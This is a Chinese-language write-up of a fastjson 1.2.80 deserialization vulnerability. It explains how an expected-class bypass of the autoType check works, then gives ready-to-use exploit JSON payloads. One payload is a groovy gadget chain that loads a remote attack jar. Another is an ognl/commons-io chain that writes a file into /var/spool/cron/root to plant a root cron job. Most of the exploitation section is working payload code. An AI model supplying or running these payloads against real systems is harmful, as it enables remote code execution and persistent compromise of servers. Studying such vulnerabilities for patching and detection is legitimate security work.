fastjson 1.2.80 漏洞浅析及利用payload
0x01 说明
在fastjson的1.2.80版本中可以通过将依赖加入到java.lang.Exception 期望类的子类中,绕过checkAuto。
0x02 简析
{
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{}
}
直接DefaultJSONParser.class搜checkAuto下断点
步入到com/alibaba/fastjson/parser/ParserConfig.java
使用TypeUtils.getClassFromMapping从缓存中读取java.lang.Exception
跳到了checkAuto
往下走,获取ObjectDeserializer对象,因为是异常类,获取到的是ThrowableDeserializer反序列化器
继续步入,跳转到com/alibaba/fastjson/parser/ParserConfig.java
匹配条件
此时clazz为null
匹配下个
步入com/alibaba/fastjson/util/TypeUtils.java
Mappings.put()将类添加到map中
但是cache不为真
匹配下个
此时expectClass
expectClass非空使用addMapping将clazz类加入缓存
每次处理一层json都会putDeserializer,可以向deserializers添加新数据。
第三次处理会加上org.codehaus.groovy.control.ProcessingUnit
0x03 利用
1、groovy链
需要存在groovy链,这里测试版本使用如下版本
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>3.0.12</version>
</dependency>
jar包用的
https://github.com/Lonely-night/fastjsonVul
将CompilationFailedException作为子类,java.lang.Exception作为期望类可绕过检测
{
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{}
}
发利用包
{
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type": "org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":["http://127.0.0.1:8081/attack-1.jar"]
},
"gcl":null,
"destDir": "/tmp"
}
2、ognl & io & aspectj & commons-codec
payload可通过大哥写的生成
https://github.com/kezibei/fastjson_payload/blob/main/src/test/Fastjson26_ognl_io_write_4.java
这里payload为往/var/spool/cron/root目录写入计划任务,注意只能往存在目录下写文件
1.2.73-1.2.80 ognl-3.2.21 commons-io-2.2 aspectjtools-1.9.6 commons-codec-1.6
写入复杂文件结构,文件需要大于8kb
{
"su14": {
"@type": "java.lang.Exception",
"@type": "ognl.OgnlException"
},
"su15": {
"@type": "java.lang.Class",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "ognl.OgnlException",
"_evaluation": ""
}
},
"su16": {
"@type": "ognl.Evaluation",
"node": {
"@type": "ognl.ASTMethod",
"p": {
"@type": "ognl.OgnlParser",
"stream": {
"@type":"org.apache.commons.io.input.BOMInputStream",
"delegate":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"@type": "org.apache.commons.codec.binary.Base64InputStream",
"in":{
"@type":"org.apache.commons.io.input.CharSequenceInputStream",
"charset":"utf-8",
"bufferSize": 1024,
"s":{"@type":"java.lang.String""文件baes64"
},
"doEncode":false,
"lineLength":1024,
"lineSeparator":"5ZWKCg==",
"decodingPolicy":0
},
"branch":{
"@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath":"/var/spool/cron/root"
},
"closeBranch":true
},
"include":true,
"boms":[{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes":[85, 48, 104...文件bytes]
}],
}
}
}
},
"su17": {
"$ref": "$.su16.node.p.stream"
},
"su18": {
"$ref": "$.su17.bOM.bytes"
}
}